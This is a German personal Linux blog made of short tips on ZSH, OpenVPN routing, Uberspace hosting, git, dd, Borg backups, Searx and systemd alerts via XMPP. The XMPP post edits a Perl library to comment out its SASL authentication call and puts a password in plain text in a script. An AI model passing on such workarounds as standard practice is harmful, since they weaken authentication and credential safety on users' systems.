Anhand dieser Liste lässt sich nun mittels eines Würfels ein Passwort aus einem großeren Pool an Wörtern erstellen. Wer hierzu keine Lust hat, kann auch Tools diceware nutzen. Diese kommen mit oben erstellter Liste auch zurecht. Es ist allerdings zu empfehlen wirklich selbst zu würfeln. Was die Anzahl der Wörter betrifft, sollte man aktuell mindestens 6 Wörter würfeln. Mehr sind natürlich besser. Wer will kann zwischen die Wörter noch ein Sonderzeichen oder ein Leerzeichen einfügen. Das erhöht die Sicherheit noch einmal.


Teile des Pfads bis zum Slash unter der ZSH löschen

Nehmen wir einmal an, dass in der Historie der ZSH der Befehl "cd /home/nutzer/Downloads/Filme/Action" vorhanden ist. Was aber, wenn man nur in den Ordner Downloads wechseln will?

Eine Möglichkeit wäre, den Befehl aus der Historie aufzurufen und einfach Filme/Action zu löschen bevor man den Befehl ausführt. Oder man drückt einfach ALT + Backspace. Hier macht die ZSH allerdings Probleme. Anstelle bis beispielsweise rückwärts bis zum nächsten Slash zu löschen, wird bis zum nächsten Leerzeichen gelöscht. Somit wird aus "cd /home/nutzer/Downloads/Filme/Action" mit nur einem Shortcut "cd". Irgendwie blöd. Also muss mal wieder meine .zshrc erweitert werden. In diese habe ich folgende Funktion gepackt.

function backward-kill-partial-word {
         local WORDCHARS="${WORDCHARS//[\/.]/}"
         zle backward-kill-word "$@"
     }
     zle -N backward-kill-partial-word
     for x in '^Xw' '^[^?' '^[^H'; do
         bindkey "$x" backward-kill-partial-word
     done; unset x

Mittels WORDCHARS wir hierbei definiert, dass auch / Teil eines Worts ist. Speichert man nun die .zshrc und läd diese mittels "source ~/.zshrc" erneut ein lässt sich nun ein eingegbener Pfad mittels ALT + Backspace bis zum jeweils nächsten Slash rückwärts löschen.


Wie Anfänger bei Projekten auf Github mitwirken können

Oft findet man auf Github das eine oder andere Projekt bei dem man merkt, dass man auch mithelfen könnte obwohl man nicht programmieren kann. Zum Beispiel indem man eine Dokumentation erstellt oder verbessert. Oder indem man einfach Sprachdateien erstellt.

Änderungen kann man aber bei vielen Projekten nicht einfach per E-Mail an den Entwickler schicken, sondern muss hierfür einen Pull Request bei Github erstellen. Spätesten an dieser Stelle klinken sich dann oft diejenigen aus, die mit Programmieren nichts am Hut haben. Zumal man oft sogar ziemlich schroff abgefertigt wird, wenn man es trotzdem per E-Mail versucht (was ich leider aus eigener Erfahrung bestätigen kann).

Auf Github wurde nun ein Projekt gestartet, das Anfängern den Einstieg erleichtern soll. So wird zum Beispiel erklärt, wie man ein Projekt forkt, Änderungen vornimmt und dann schlussendlich einen Pull Request erstellt. Zudem gibt es noch tiefer gehende Anleitungen um zum Beispiel einen Commit zurück zu ziehen oder wie man bei einem Merge Conflict verfährt. Teile dieser Anleitung sind bereits auch in diverse Sprachen übersetzt worden, so dass man nicht einmal der englischen Sprachen mächtig sein muss um dieser folgen zu können.


Deutschsprachiger Linux-Kurs für Anfänger vom 12. bis 26.02.18

Vom 12. bis 26.02.18 bietet das Hasso-Plattner-Institut einen kostenlosen, deutschsprachigen Anfängerkurs zum Thema Linux an. Wer Interesse hat bzw. jemanden kennt für den der Kurz vielleicht etwas ist, findet unter https://open.hpi.de/courses/linux2018 genauere Informationen und die Möglichkeit zur Anmeldung. Ob der Kurs etwas taugt, kann ich nicht sagen. Mit dem Anbieter habe ich bisher noch keine Erfahrungen gemacht.


Lesezeichen für Verzeichnisse unter der ZSH

Heute habe ich mir überlegt, wie ich meine Abläufe weiter optimieren kann. Der Wechsel in oft genutzte Verzeichnisse ist solch ein Ablauf. Als erstes habe ich mir das Jump-Plugin von Oh My ZSH angesehen.

Da mir Oh My ZSH zu überladen ist, habe ich mir nur das betreffende Plugin installiert. Hierzu habe ich das Verzeichnis /usr/share/zsh/plugins/zsh-jump erstellt und in diesem mittels wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/plugins/jump/jump.plugin.zsh das Plugin heruntergeladen. Abschließend habe ich noch in der ~/.zshrc source /usr/share/zsh/plugins/zsh-jump/jump.plugin.zsh hinzugefügt.

Das Plugin ist nun aktiv. Nun wechselt man einfach in eines der oft genutzten Verzeichnisse. Nehmen wir als Beispiel mal /etc/systemd/system. Mittels mark systemd legen wir ein Lesezeichen an (anstelle von systemd kann man eine beliebige Bezeichung angeben). Hiermit mit standardmäßig unter ~/.marks ein entsprechnender Symlink angelegt.

Nehmen wir nun einmal an, dass wir uns in ~/.config/terminator befinden und nun schnell in /etc/systemd/system wechseln möchten. Also führen wir jump systemd aus und landen umgehend in /etc/systemd/system.

Diese Lösung ist relativ einfach gehalten und erfordert das manuelle Anlegen von Lesezeichen. Andere Lösungen, die ich voraussichtlich noch testen werde, nutzen zum Beispiel fzf und sind daher komplexer und bietet mehr Möglichkeiten.


Dauerhafte Lösung wenn ein Dienst die IP des VPN-Dienstes sperrt

Heute hat es mich mal wieder erwischt. Privat nutze ich aus diversen Gründen den Dienst eines VPN-Anbieters. Über die gleiche IP haben jetzt wohl Vollidioten Mist gebaut und einer meiner E-Mail-Anbieter hat diese für das Versenden gesperrt. Laut dem Support ist das Entsperren aktuell keine Option.

Vor längerem habe ich bereits einen Artikel veröffentlich und beschrieben wie man eine Ausnahme bei OpenVPN erstellt. Da ich aber über die betreffende E-Mail-Adresse sehr selten etwas versende, werde ich mich vermutlich jedes mal wundern und erst einmal ein technisches Problem vermuten. Aber wie so oft, kann man das Problem auch dauerhaft lösen.

Hierzu editiert man einfach unter /etc/openvpn/client/ die betreffende Konfigurationsdatei und fügt folgenden Einträge hinzu.

script-security 2
up /etc/openvpn/route.sh

Die erste Zeile erlaubt OpenVPN Nutzer-Scripte auszuführen. In der zweiten Zeile wird das Script route.sh ausgeführt, sobald die OpenVPN-Verbindung steht. Nimmt man anstelle von up down wird das Script ausgeführt, sobald die Verbindung beendet wurde. Was in dem Fall keinen Sinn machen würde. Im genannten Script ist dann folgendes Eintragen.

#!/bin/sh
route add -host mailserver.des.anbieters gw 192.168.1.1

Anstelle der genannten exemplarischen IP nimmt man einfach die IP des Routers (ich gehe davon aus, dass der VPN-Zugang nicht auf selbigen läuft, sondern auf dem Rechner(n).

Somit lassen sich die E-Mails ganz normal über die IP vom ISP empfangen oder versenden. Alles andere läuft weiterhin über den VPN-Zugang so dass man beispielsweise Geoblocking umgehen kann.
 


Autokorrektur der ZSH partiell zum Schweigen bringen

Gestern habe ich alle wichtigen Dienste von Uberspace V6 auf Uberspace V7 verschoben. So wie es aussieht, hat wohl alles geklappt. Allerdings ging mit die Autokorrektur der ZSH auf die Nerven.

Da mir Befehle wie "ssh nutzer@planet.uberspace" zu umständlich sind, habe ich in der ~/.ssh/config Einträge angelegt, so dass ich mich beispielsweise mittels "ssh uberspace6" auf meinen Uberspace6 einwählen kann. Vor kurzem kam hier noch der Eintrag für uberspace7 hinzu. Wenn ich nun "ssh uberspace7" ausführen wollte, hat mich die Autokorrektur der ZSH jedes mal gefragt, ob ich nicht Uberspace gemeint habe. Nein verdammt, habe ich nicht. Das ging mir mit der Zeit auf den Zeiger. Eine komplette Deaktivierung der Korrektur für die Parameter wollte ich aber auch nicht. Daher habe ich mir den Alias ssh='nocorrect ssh' erstellt. Damit verkneift sich die Korrektur die Fragen und ich habe meine Ruhe. Dank der Vervollständigungsfunktion bzw. History-Funktion entstehen in dem Fall auch keine Problem und man kann schnell zwischen zwei ähnlichen Einträgen auswählen. Solch ein Alias lässt sich auch für jeden anderen Befehl anlegen.


Der Umzug auf Uberspace 7

Vor ein paar Wochen wurde Uberspace in Version 7 als Betaversion veröffentlicht. Eigentlich wollte ich zeitnah von version 6 umsteigen. Aus zwei Gründen habe ich den Umstieg aber erst einmal sein gelassen.

Grund 1: Es war noch nicht möglich mehrere E-Mail-Adressen anzulegen. Diese Funktion sollte und wurde auch nachgereicht. Wie gesagt, das ganze ist offiziell noch als Betaversion gekennzeichnet.

Grund 2: Das Team hinter Uberspace hat die Entscheidung getroffen, dass nur noch ein DocumentRoot pro Zugang möglich ist. Virtuelle DocumentRoots wird es nicht mehr geben. Auch wenn ich die Entscheidung aus technischer Sicht durchaus nachvollziehen kann, kommt für mich der Umstieg dann doch nicht in Frage, da ich mehrere Domains aufgeschaltet habe und im Falle von Fryboyter.de auch noch mehrere Dienste wie Searx unter Subdomains nutze. Aber egal, unter Version 6 funktioniert ja alles und wird wohl auch bis 2020 laufen. Kurz vor Weihnachten hatte ich dann zufällig mal wieder bei Uberspace gestöbert und einen Eintrag im Uberspace-Blog gefunden. Alleine das zeigt, dass man bei dem Anbieter gut aufgehoben ist. Andere Anbieter hätten eine Entscheidung getroffen und "friss oder stirb" wäre angesagt gewesen.

Da mir der aktuelle Stand von Uberspace 7 alles bietet, was ich aktuell so brauche, habe ich mir heute einmal einen Zugang besorgt. Auf die grundlegenden Sachen wie das erstellen des SSH-Zugang usw. gehe ich jetzt nicht ein. Das kann bei Bedarf unter https://manual.uberspace.de/en/index.html nachgelesen werden.

Allerdings nutze ich ja auch so spezielle Fälle wie Isso Comment. Ich kann mich an keine Installation erinnern bei der ich nicht irgendwo auf Granit gebissen bin. Heute hat es aber geklappt. Im Grunde habe ich mich an Martins Anleitung gehalten. Mit zwei Ausnahmen. Bei der Installation mit pip habe ich konservativ auf Version 2.7 gesetzt. Zudem bezieht sich die Anleitung auf das Ausführen per FastCGI. Aber auf meinem U7 gibt es (noch?) kein entsprechendes Verzeichnis. Allerdings wurde beim neuen Webspace daemontools von supervisord abgelöst. Also habe ich mir einfach folgenden Service gebastelt und Isso läuft.

[program:isso]
command = /home/nutzer/.local/bin/isso -c /home/nutzer/etc/isso/user.cfg run
autostart = true
autorestart = true

Somit ist der restliche Umzug hoffentlich nur noch eine Fleißarbeit. Was sich allerdings wohl nicht vermeiden lässt ist, dass meine Seiten wohl vorübergehend nicht erreichbar sein werden, da ich z. b. für die Domains die A/AAAA und MX Records bei Inwx ändern muss. Also wenn die Seite fryboyter.de nicht erreichbar ist, ziehe ich entweder gerade um und/oder habe Mist gebaut.

Es ist vollbracht. Der Wechsel von Uberspace V6 auf V7 hat ohne größere Probleme geklappt. Wer trotzdem noch einen Fehler findet oder Verbesserungswünsche hat, kann ich gerne melden.


Das Jahr des Linux Desktops 2017

Das Jahr 2017 geht zu Ende. Und an vielen Ecken hört man, dass wohl auch dieses Jahr nicht das Jahr des Linux Desktop war. Wie es wohl auch die letzen Jahre der Fall war. 

Und ich stelle mir jedes mal die gleiche Frage. Warum zur Hölle ist das wichtig? Wann wurde zum Beispiel das Jahr des Windows Desktop gefeiert? Oder das Jahr des 1er BMW? Oder das Jahr des Krapfens (das Ding das mit Marmelade gefüllt wird) des Backhaus Kutzers? Auf Frage 1 kann ich für mich nur die Antwort "gar nicht" geben. Und bei den anderen Fragen lautet die Antwort, wenn ich mich jetzt nicht ganz arg täusche, "noch nie". Trotzdem verkauft sich das Zeug. Vor ein paar Tagen hatte ich zum Beispiel 3 Krapfen bei besagtem Backhaus gekauft.  Ohne das diese prämiert oder mit Blattgold überzogen waren. Und sie waren trotzdem lecker.

Ich für meinen Teil feiere schon seit über 10 Jahren das Jahr des Linux Desktops. Weil ich eben seit über 10 Jahren Linux auf meinen Rechnern nutze. Was andere machen ist mir (entschuldigt die Wortwahl) scheißdrecksegal. Ich bin nicht Lieschen Müller, ich bin ich. Und Ende.

Nehmen wir mal an, das Jahr des Linux Desktops wird nie kommen. Ich gehe davon sogar aus, da es meines Wissens ja auch kein Jahr des Windows Desktops gab. Oder eben das des Krapfens. Oder des 1e BMW. Trotzdem benutzt eigentlich fast jeder Linux. Sogar ein Bekannter von mir der bekennender Linux-Hasser ist. Sein Fernseher wird zum Beispiel von Linux angetrieben. Sein NAS auch. Die meisten Nutzer wissen es nur nicht bzw. wollen es in genannten Fall einfach nicht wahrhaben, da es sonst ihr Weltbild zerstören würde.

Machen wir es doch einfach kurz. Benutzt einfach das, was euch zusagt. Ob es nun Mainstream ist, oder nicht. Ob es prämiert ist oder nicht. Objektiv betrachtet hat alles seine Vor- und Nachteile. Die Marke zu der mein Auto gehört, nutzt in meinem Freundes- und Bekanntenkreis beispielsweise auch keiner. Und es fährt trotzdem. Davon abgesehen, dass es zur VAG gehört, kann ich auch nicht meckern. Hört einfach auf euch von Entscheidungen anderer abhängig zu machen. Oder versucht es zumindest. Und wenn ihr Windows nutzen müsst, weil ihr auf ein Programm angewiesen seit, dass nur unter Windows läuft und für das es keinen Ersatz unter einem alternativen Betriebssystem gibt, dann nutzt einfach Windows. Oder ihr wollte Windows nutzen, weil ihr Windows nutzen wollt? Auch gut. Die Welt wird sich trotzdem noch weiter drehen. Genauso wie sich die Welt weiter drehen wird, wenn 2018 nicht das Jahr des Linux Desktop sein wird. Ich frage mich eher was passiert, wenn 2018 das Jahr des Linux Desktop wird. Vermutlich wird dann eine galaktische Hyperraum-Expressroute gebaut und die Erde liegt hierfür im Weg. Murphy ist schon ein mieses Schwein...


Suchanfrage bei Google direkt in Terminator stellen

Wenn ich etwas mit der Shell mache, habe ich es mir schon länger vermisst, dass man nicht einfach nach einer Fehlermeldung suchen kann. 

Am besten einfach indem man den Text markiert und über das Kontextmenü so etwas wie "Bei Google suchen" auswählt und die Suchanfrage wird dann direkt im Browser gestellt. Für den von mir verwendeten Terminal Emulator Terminator ist hierfür ein älteres Plugin vorhanden aber ich habe es einfach nicht zum laufen gebracht.

Auf Reddit hat der Nutzer msudgh nun heute ein Plugin veröffentlicht mit dem man genau das nun möglich ist. Entweder hatte er die gleiche Idee oder es hat den Beitrag von mir bei Reddit gelesen in dem ich mir diese Funktion gewünscht hatte und hat sich erbarmt. Auf jeden Fall funktioniert das Plugin ohne Probleme. Daher ein dickes Danke an msudgh. Veröffentlich wurde das Plugin bei Github.

Da sich die Adresse für die Suchmaschine leicht im Plugin ändern lässt, kann ich nun auch noch zum Beispiel bei DuckDuckGo suchen.


Webanwendung mit git aktualisieren und Änderungen behalten

Manche meiner Webanwedungen aktualisiere ich mittels git. Bei meiner Instanz von Searx bekomme ich allerdings eine Fehlermeldung, wenn ich git pull origin master ausführe, weil ich lokal einige geänderte Dateien habe. In meinem Fall sind das Konfigurationsdateien wie settings.yml.

Da ich ehrlich gesagt keine Lust habe, hier jedes mal die Änderungen wieder auf meinem Webspace einzupflegen habe ich mal geschaut, was bei git so alles möglich ist. Bei git stash bin ich fündig geworden. Hiermit werden Änderungen an den lokalen Dateien quasi gesichert und können nach einem Update der lokalen Dateien wieder eingespielt werden.

Aktuell läuft daher die Aktualisierung von Searx daher wie folgt ab.

git stash
git pull origin master
git stash pop

Mit dem ersten Befehl lege ich mir quasi eine Kopie der Änderungen an. Mit dem zweiten Befehl spiele ich alle Änderungen seitens der Entwickler ein. Der letzte Befehl spielt dann meine Änderungen in die aktualisierten lokalen Dateien ein und löscht die Kopie wieder.


Image mit dd auf SD-Karte kopieren hängt

Da ich Ende des Jahres für ein paar Monate einen Server mit CentOS übernehme, wollte ich mir mal eben CentOS auf eine SD-Karte für einen Raspberry installieren. Mal eben...

Das Wiki von CentOS gibt in der Installationsanleitung "dd if=CentOS-Userland-7-armv7hl-Minimal-RaspberryPi3.img of=/dev/mmcblk0 bs=8192; sync" an. Dieser Befehl hängt bei mir allerdings für mehrere Stunden. Kann eigentlich nicht sein. Htop zeigt bei dem Prozess den Status D an. Nach etwas Google-Fu habe ich herausgefunden, dass dies für "uninterruptible sleep (usually IO)" steht. Solche Prozesse lassen sich nicht mal mit Rootrechten killen.

Also nächster Versuch bei dem bei obigen Befehl den Teil mit dd um status=progress erweitert habe. Hier werden laut Anzeige die 3 GB der Images ratz fatz bearbeitet. Und dann bleibt das ganze wieder stundenlang hängen. Bei den nächsten Versuchen habe ich etwas mit bs=8192 gespielt und die Werte geändert. Und wieder kein Erfolg.

Etwas Google-Fu später habe ich den Tipp gefunden, die Daten nicht zu cachen sondern direkt zu schreiben. Hierzu erweitert man den Teil mit dd einfach um oflag=direct. Das ist dann zwar langsamer, führt aber bei mir zumindest zum Erfolg.

Die Karte ist laut badblocks übrigens in Ordnung. Das habe ich zwischenzeitlich auch schon getestet. Die Karte verrichtet ja schon ein paar Jahre ihren Dienst in einem Rapsberry Pi. Jetzt muss ich nur noch herausfinden, wieso es mit Cache so lange dauert. Vor allem weil es sich um eine Karte der Klasse 10 handelt.


Fold - Dateien falten

Auch wenn man mehrere Jahre Linux nutzt, lernt man immer noch dazu. So ist mir heute der Befehl fold untergekommen, den ich bewusst wohl noch nie benutzt habe.

Nehmen wir mal die Ausgabe von "uname -a" als Beispiel. Diese sieht bei mir gerade inkl. Umbruch wie folgt aus.

Linux notebook 4.13.11-1-zen #1 ZEN SMP PREEMPT Thu Nov 2 18:46:37 UTC 2017 x86_
64 GNU/Linux

Übergibt man diese Ausgabe an fold (z. B. uname -a | fold -sw 30) bekommt man folgendes angezeigt.

Linux notebook 4.13.11-1-zen 
#1 ZEN SMP PREEMPT Thu Nov 2 
18:46:37 UTC 2017 x86_64 
GNU/Linux

Das sieht doch schon schöner aus. Aber was wird hier genau gemacht? Der Parameter "w 30" gibt an, dass ein Umbruch nach 30 Zeichen erfolgen soll. Der Parameter "s" verhindert zudem dass zum Beispiel innerhalb eines Wortes umgebrochen wird. Ein Umbruch erfolgt also nur bei einem Leerzeichen.


Man pages - Too long didn't read

Manche der Man Pages sind rech lang und teilweise inhaltlich recht kompliziert. Das nervt vor allem, wenn man nur mal eben die Grundfunktionen eines Befehls nachschlagen will. Wie zum Beispiel das Entpacken eines Tar-Archives.

Hier ist das Projekt >tldr _ (was für ein Name) eine nette Idee. Unter https://tldr.ostera.io/ kann man einfach den gewünschten Befehl eingeben und erhält Beispiele für die grundlegenden Funktionen. Bei tar wird beispielsweise folgendes ausgespuckt.

Create an archive from files:
tar cf {{target.tar}} {{file1 file2 file3}}

Create a gzipped archive:
tar czf {{target.tar.gz}} {{file1 file2 file3}}

Extract an archive in a target folder:
tar xf {{source.tar}} -C {{folder}}

Extract a gzipped archive in the current directory:
tar xzf {{source.tar.gz}}

Extract a bzipped archive in the current directory:
tar xjf {{source.tar.bz2}}

Create a compressed archive, using archive suffix to determine the compression program:
tar caf {{target.tar.xz}} {{file1 file2 file3}}

List the contents of a tar file:
tar tvf {{source.tar}}

Sollte man einen Fehler finden, lassen sich die Seiten auf Github recht schnell bearbeiten. Was nach ein paar Test allerdings auffällt ist, dass hier noch viele Befehle wie whereis fehlen. Im AUR von Arch steht das ganze auch zum Installieren auf dem eigenen Rechner zur Verfügung.


Hackathon in Hof am 19.10.17

Wie ich gerade durch die Mailing-Liste der lokalen LUG erfahren habe, findet am 19.10.17 ab 12 Uhr ein Hackathon in der iisys Hochschule in Hof (Oberfranken) statt.

Programmpunkte sind unter anderem Webanwendungen mit LivingApps erstellen und Bewässerung von Topfpflanzen. Wer Interesse hat, findet unter https://www.livinglogic.de/hackathon/ noch ein paar (aber wirklich nur ein paar) weitere Informationen und die Möglichkeit sich anzumelden.

Kann sein, dass ich dort auch mal vorbeischaue wenn ich mich aufraffen kann nach Hof zu fahren. Liegt ja nicht gerade direkt um's Eck.


Version 1.1 des Sicherungsprogramms Borg veröffentlicht

Für sogenannte Offside-Backups nutze ich (in der Regel in Verbindung mit rsync.net) das Tool Borg. Borg legt die zu sichernden Dateien in Repositorys an und nutzt zudem auch noch Deduplikation bei der die Daten in kleine Teile zerlegt werden. Somit werden nur die geänderten Teile bei einer Datensicherung berücksichtigt.

Vor ein paar Tagen wurde nun Borg in Version 1.1 veröffentlicht. Für mich stechen besonders folgende Sachen hervor:

- Borg diff: Vergleichen von zwei Sicherungen
- Borg export tar: Sicherung als Tar-Archiv exportieren
- JSON API für die wichtigsten Sachen wie borg create, borg list usw.
- BORG_PASSCOMMAND: Nutzung von Schlüsselringen und Hardwareschlüsseln wird damit vereinfacht

Da sich bei Borg in Version 1.1 einiges getan hat, gibt es unter https://www.borgbackup.org/releases/borg-1.1.html eine Zusammenfassung der wichtigsten Punkte. 

Wer sich für Borg für ein Offside-Backup interessiert, sollte sich ggf. einmal den Dienst rsync.net ansehen. Dieser bietet für Nutzer von Attic bzw. Borg einen Sondertarif an, bei dem das GB 3 Cent im Monat kostet und man mindestens 25 GB mieten muss. Da ich dort nur meine wirklich, wirklich, wirlich wichtigen Sachen sichere komme ich somit für weniger als 8 Euro im Jahr gut zurecht und habe Dank der Deduplikation noch jede Menge Platz frei. Die Repositorys von Borg lassen sich übrigens verschlüsselt (inkl. Schlüsseldatei) anlegen so dass nur die verschlüsselten Daten hochgeladen werden. 


Prüfsummen in einer PKGBUILD-Datei ändern

Ab und zu kommt es vor, dass im AUR die PKGBUILD-Datei eines Pakets nicht aktualisiert wird. Das ist derzeit beim Editor micro der Fall, da es einen unschönen Bug mit der Mausunterstützung gibt und der Paketbetreuer erst mal abwarten will. Ich will aber nicht.

Bisher bin ich in solchen Fällen immer so vorgegangen, dass ich mir erst einmal die Prüfsumme des neuen Archivs besorgt habe. Bei einigen Programmen sind die aber entweder sehr gut versteckt oder werden gar nicht erst angeboten. Bei letzterem lade ich das neue Archiv ein- oder zweimal herunter und erstelle manuell die Prüfsumme. Dann lade ich mir mit curl die PKGBUILD-Datei herunter und editiere die Zeile pkgver= und dann noch die Zeile(n) für die Prüfsumme(n). Aber das nervt. Vor allem wenn man die Prüfsummen gar nicht oder nur schwer findet.

Aber wie soll es anders sein? Hätte ich mal in das Wiki von Arch Linux geschaut... Genau für diese Änderung gibt es das Tool updpkgsums, welches bei  pacman direkt mit dabei ist. Hat man die PKGBUILD-Datei heruntergeladen und die Zeile pkgver= angepasst, muss man nur noch "updatepkgsums PKGBUILD" aufrufen. Das Tool ersetzt dann automatisch die alte gegen die neue Prüfsumme. Diese sollte man aber trotzden möglichst überprüfen. Wobei das in einigen Fällen eben nicht ganz leicht ist. Jetzt sollte man beispielsweise mittels "makepkg -i PKBUILD --noconfirm" die aktuelle Version des Programms installieren können.


Suchanfrage direkt an die eigene Searx-Installation schicken

Ich habe mir angewöhnt im Browser Suchanfragen über Kürzel zu stellen. Somit suche ich beispielsweise mit "g wayland arch linux" nach Wayland unter Arch Linux. Oder mit "ddg hamburger teespeicher" suche ich mit DuckDuckGo nach meinem bevorzugten Teehändler dem Hamburger Teespeicher. Nur meine Searx-Instanz habe ich bisher direkt aufgerufen.

Das habe ich jetzt einmal geändert und mir für meine eigene Searx-Instanz ebenfalls einen Suchmaschineneintrag erstellt. Im Grunde genommen ist es kein Hexenwerk und in unter einer Minute erledigt.

searxsuche.png

Dieses Beispiel zeigt das Hinzufügen einer Suchmaschine unter Vivaldi (ALT+P -> Suche). Unter Chrome/Chromium sollte es vermutlich gleich bzw. ähnlich aussehen. Zu anderen Browsern kann ich keine Aussage treffen.

Als URL geben wir die Adresse ein, unter der die betreffende Searx-Instanz erreichbar ist. An deren Ende fügen wir dann noch /?q=%s hinzu. Das %s ist hier ein Platzhalter für unsere Suchbegriffe. Als Kürzel habe ich mal sx genommen, da "s" bereits für Startpage vorgesehen ist. Abschließend noch schnell auf Hinzufügen klicken und fertig. Wer will, kann vorher den Eintrag als Standard setzen. Nun kann man direkt in der Adresszeile mit dem Kürzel sx eine Searx-Installation befragen.

Searx bietet auch die Möglichkeiten diverse Kategorien zu durchsuchen. Wie zum Beispiel unter anderem Nachrichten, Musik, IT oder Dateien. Nehmen wir mal an, dass man einen Eintrag für die Kategorie "Nachrichten" erstellen will. Hierzu müssen wir obigen Link einfach erweitern, so dass aus http://searx.fryboyter.de/?q=%s&categories=news wird. Anstelle von news trägt man hier einfach die gewünschte Kategorie ein. Hierzu muss man allerdings die englische Bezeichnung nutzen.

Ach ja... Der genannte Link ist nur ein Beispiel und funktioniert nicht. Wer sich die Metasuchmaschine einmal ansehen will, findet unter https://github.com/asciimoo/searx/wiki/Searx-instances eine Liste von Instanzen. Hier dürfte searx.me mit die bekannteste Adresse sein. Für die Installation einer eigenen Instanz lohnt sich ein Blick in die Anleitung von mdosch. Diese ist zwar für Uberspace gedacht, aber ich denke man hiermit auch Searx bei anderen Anbietern installieren.


Über fehlgeschlagenen Service per XMPP informieren

Auf meinen Raspberry Pi's laufen einige Dienste wie ein Q3A-Server. Diese zum Beispiel mit Zabbix zu überwachen ist mir dann doch etwas übertrieben, da diese Dienste entweder rein privat genutzt werden oder ich einfach keine Uptime garantiere.

Trotzdem wäre es dann doch interessant wenn ich darüber informiert werde wenn zum Beispiel ein Dienst nicht gestartet werden konnte. Vor allem wenn man nicht daheim ist. Da ich auf meinem Smartphone auch einen XMPP-Client installiert habe, würde sich eine Lösungen mittels XMPP und systemd anbieten.

Um die Nachrichten zu versenden habe ich mir sendxmpp installiert. Unter Arch findet man das Paket im AUR. Um zu testen ob das Versenden überhaupt funktioniert, habe ich es gleich einmal ausprobiert.

echo 'Hallo Welt' | sendxmpp -t  -u fryboyter -j jabjab.de -p 'strenggeheim' empfänger@deshalbfrei.org

Und schon knallt es und ich bekomme die Fehlermeldung "Invalid or unreadable path specified for ssl_ca_path. at /usr/share/perl5/vendor_perl/XML/Stream.pm line 641" vor den Latz geknallt. Dann schauen wir uns die Datei doch mal an. Zeile 641 verrät mir allerdings recht wenig. Allerdings gibt es in besagter Datei die Zeile $self->{SIDS}->{default}->{ssl_ca_path} = '';. An deren Ende habe ich zwischen die beiden '' einfach mal /etc/ssl/certs eingetragen.

Nächster Versuch, nächste Fehlermeldung. Error 'AuthSend': error: bad-protocol[?]. Na das ist ja mal sehr aussagekräftig. Nach etwas Google-Fu konnte ich das Problem in der Datei /usr/share/perl5/vendor_perl/Net/XMPP/Protocol.pm ausfindig machen. In Zeile 2104 steht return $ self-> AuthSASL (% args);. Diese Zeile kommentieren wir einfach mal mit einem # am Anfang aus. Ich bin mir allerdings nicht sicher, ob das nicht irgendwelche Nebenwirkungen hat.

Und wieder ein neuer Anlauf. Und plötzlich informiert mich mein XMPP-Client dass ich für empfänger@deshalbfrei.org eine Nachricht erhalten habe. Yeehaa!

Da nun die Benachrichtungen per XMPP funktionieren, erstellen wir unter /usr/bin ein Shellscript (nennen wir es mal xmpp.sh) mit folgendem Inhalt.

#!/bin/bash

UNIT=$1

UNITSTATUS=$(systemctl status $UNIT)
ALERT=$(echo -e "\u26A0")

echo "$ALERT Unit failed $UNIT $ALERT Status: $UNITSTATUS" | /usr/bin/site_perl/sendxmpp -t  -u fryboyter -j jabjab.de -p 'strenggeheim' empfänger@deshalbfrei.org

Nun erstellen wir unter /etc/systemd/system die Servicedatei xmpp@.service mit folgendem Inhalt.

[Unit]
Description=Benachrichtigung mittels XMPP
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/xmpp.sh %I

Zum Schluss editieren wir noch die Service-Dateien der Dienste die wir überwachen wollen und packen unter dem Bereich [Unit] die Zeile OnFailure=xmpp@%n.service.

Startet nun ein Service nicht erhält man automatisch eine Nachricht per XMPP die beispielsweise so aussieht.

⚠ Unit failed monitorhell.service ⚠ Status: ● monitorhell.service - Tastaturbeleuchtung automatisch aktivieren
   Loaded: loaded (/etc/systemd/system/monitorhell.service; enabled; vendor preset: disabled)
   Active: failed (Result: exit-code) since Mon 2017-09-11 16:36:13 CEST; 1min 18s ago
  Process: 510 ExecStart=/bin/bashx -c echo 2219 > /sys/class/backlight/intel_backlight/brightness (code=exited, status=203/EXEC)
 Main PID: 510 (code=exited, status=203/EXEC)

Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.


Konversation 2.x wird das Protokoll Matrix unterstützen

Seit einiger Zeit nutze ich den Client Riot um über das Matrix Protokoll zu chatten. Dank diverser Brücken geht dies auch netzwerkübergreifend so dass man beispielsweise auch mit Leuten im IRC kommunizieren kann.

Was viele an Riot stört, ist die Tatsache, dass der Client auf Electron basiert. Heute hat Eike Hein vom KDE-Projekt einen Artikel veröffentlicht der die Entwicklung des offiziellen Messengers Konversation von Plasma in Version 2.x zum Thema hat. Neben einer verbesserten Oberfläche, einer Version für Android und diverser anderer Dinge wird nun auch an der Unterstützung des Matrix-Protokolls gearbeitet. Diese Entscheidung kann ich an dieser Stelle nur begrüßen. Mit Matrix hat man endlich die Chance sicher und protokollübergreifend zu kommunizieren. Leider wird es Konversation 2.x wohl erst 2018 geben. Aber gut Ding will Weile haben.

Wer sich für Matrix / Riot interessiert kann sich den recht aufschlussreichen Artikel von Golem durchlesen. Hierbei sollte man aber beachten, dass dieser schon ein paar Monate alt ist und die Entwicklung an mehreren Ecken schon vorangeschritten ist.


Aus QupZilla wird Falkon

Nachdem der originale Browser Opera eingestellt wurde, war ich auf der Suche nach einer Alternative. Ein Kanditat war QupZilla. Dieser wurde nun zu Falkon umbenannt.

Nachdem QupZilla nun ein offizielles KDE-Projekt geworden ist, war es Zeit für einen neuen Namen. Der Entwickler David Rosca, der laut eigener Aussage kein glückliches Händchen bei der Namengeben gezeigt hat, hat daher die Gemeinschaft um QupZilla aufgerufen Vorschläge zu machen. Gewonnen hat der Name "Falkon".

Eventuell beerbt Falkon nun auch Konqueror und wird offizieller Browser unter Plasma.


Aktuellste Programmversion per Script von Github laden

Einige Projekte auf Github bieten Nightly Builds an. Also Programmversionen die in der Regel über Nacht und automatisiert erstellt werden. Die Frage ist nur, wie kann man sich diese herunterladen wenn sich der Dateiname ändert?

